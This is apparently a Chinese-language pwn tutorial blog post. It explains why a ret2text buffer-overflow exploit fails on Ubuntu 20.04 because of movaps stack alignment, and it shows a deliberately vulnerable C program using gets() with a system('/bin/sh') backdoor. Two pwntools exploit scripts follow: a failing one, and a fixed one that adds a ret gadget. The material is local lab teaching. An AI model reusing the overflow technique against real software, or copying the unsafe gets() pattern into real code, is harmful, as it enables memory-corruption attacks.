栈对齐

栈对齐

前言

太菜了QWQ,困惑了很久(主要是在脚本中不知道该怎么进行gdb调试),今天下午研究了一下,造成最后攻击失败的结果应该是movaps指令搞的鬼,经过测试Ubuntu20里有这个问题,Ubuntu16没有。movaps指令要求其目的操作数必须是16的倍数,也就是说其操作数的数值的16进制数的最后一位必须为0,这里看一个例子更容易理解§( ̄▽ ̄

环境、源码编译

Ubuntu20.04

gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0

ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31

python3编写exp.py 使用pwntools库

tmux

zsh(oh-my-zsh)

pwndbg、pwngdb

……

附:在终端下使用的是环境是tmux,直接在terminal输入tmux即可进入,想要使鼠标上下滑动查看和选择区间可以在主目录下的.tmux.conf(没有就新建一个)文件里添加set -g mouse on

源码

test.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>
#include<string.h>

void heiheihei()
{
puts("Congratulations on getting the shell");
puts("Author: vi0let ----a rookie in the team");
system("/bin/sh");
}

int init()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

void backdoor()
{
puts("You little smart guy, not here, still have to look for oh");
}

void sub_0111101()
{
char s[120];
gets(s);
}

int main()
{
init();
printf("Hello,welcome to the world of pwn ヾ(≧▽≦*)o\n");
sub_0111101();
// heiheihei();
return 0;
}

//gcc -g -z execstack -fno-stack-protector -no-pie -z lazy test.c -o test

最后一行就是编译命令

1
gcc -g -z execstack -fno-stack-protector -no-pie -z lazy test.c -o test

附:想要偷懒也可以,我把编译好的文件和相关的文件存入了这里:https://github.com/lucky-xiaobai/research_pwn/tree/main/stack/Stack%20alignment

利用思路

检查保护(其实编译的时候就已经限制了相关的保护)

image-20230508202924562

64位,没有开启保护

扔进ida分析

main

image-20230508203401793

sub_0111111101

image-20230508203428000

heiheihei(后门函数)

image-20230508203536895 image-20230508203622054

得到后门函数的地址0x0000000000401196

分析结束,其实是一个很简单的ret2text类型的程序,由于栈上可执行也可以直接填充shellcode,这里就选择前者的方法,修改到后门函数执行就可以了

再找一个ret用来为后面的栈对齐做准备

image-20230508204353165

这里就选最后一个了:ret=0x000000000040101a

exp

先写一个未栈对齐的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*

context.terminal = ['tmux', 'splitw', '-h'] # use tmux
context(os='linux',arch='amd64',log_level='debug') # related information and set log_level

# io=remote('127.0.0.1',9999)
io=process('./test') # 本地测试
elf=ELF('./test')

junk=b'a'*(0x80+8) # 填充垃圾数据,加8是为了覆盖leave和ret
shellc=asm(shellcraft.sh()) # 这里是利用pwntools库生成64位的shellcode,这次没用到,可以注释掉
backdoor=0x0000000000401196 # 后门函数的地址
main= elf.sym['main'] # main函数的地址,也可以在ida中查找直接填写
ret=0x000000000040101a # ROPgadget查找

log.info(shellc) # 打印出库生成的shellc看一下

payload=junk+p64(backdoor)+b'deadbeef' # Stack alignment # 构造payload

gdb.attach(io,'b main') # 使用gdb追踪调试

pause() # 在发送payload前暂停一下,方便查看调试信息
io.sendline(payload) # 发送

io.interactive() # 和终端进行交互

可以先把调试的语句注释掉看一下最终是否能成功

image-20230508205403824

可以看到结果是失败的,把注释掉的调试语句取消掉注释。

运行调试查看一下

image-20230508205004970

左面显示处于暂停状态,选择左面,然后按一下回车,得到如下

image-20230508204850712

剩下只需要分析右面的gdb中的信息即可

可以使用ni单步分析

image-20230508205827966

也可以使用finish跳出当前的系统函数

几次后,得到如下的状态,可以看到sub_01111101函数执行结束后到后门函数那边去了,接下来为了避免跳出关键函数,使用ni单步调试

image-20230508210028290

如下,接下来再填入一次ni就是报错的地方了,其实这里已经可以看到栈已经不对齐了(rsp末尾是8)

image-20230508211555679

调试到movaps指令时候如下所示,显然,rsp=0x7fffffffdba8,所以造成了溢出的失败

image-20230508210350739 image-20230508210534588

再写一个栈对齐的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*

context.terminal = ['tmux', 'splitw', '-h']
context(os='linux',arch='amd64',log_level='debug')

# io=remote('127.0.0.1',9999)
io=process('./test')
elf=ELF('./test')

junk=b'a'*(0x80+8)
shellc=asm(shellcraft.sh())
backdoor=0x0000000000401196
main= elf.sym['main']
ret=0x000000000040101a

log.info(shellc)

payload=junk+p64(ret)+p64(backdoor)+b'deadbeef' # Stack alignment

gdb.attach(io,'b main')

pause()
io.sendline(payload)

io.interactive()

这里就直接去调试了,调试的过程和上面一模一样

调试结果如下

image-20230508211041861

再填入ni就可以程序没有跳转到报错的movaps那边,而是正常的结束了

image-20230508211202682

总结

检测栈对齐其实就是movaps指令造成的,可以填充一个或多个ret指令来使栈上的数据对齐。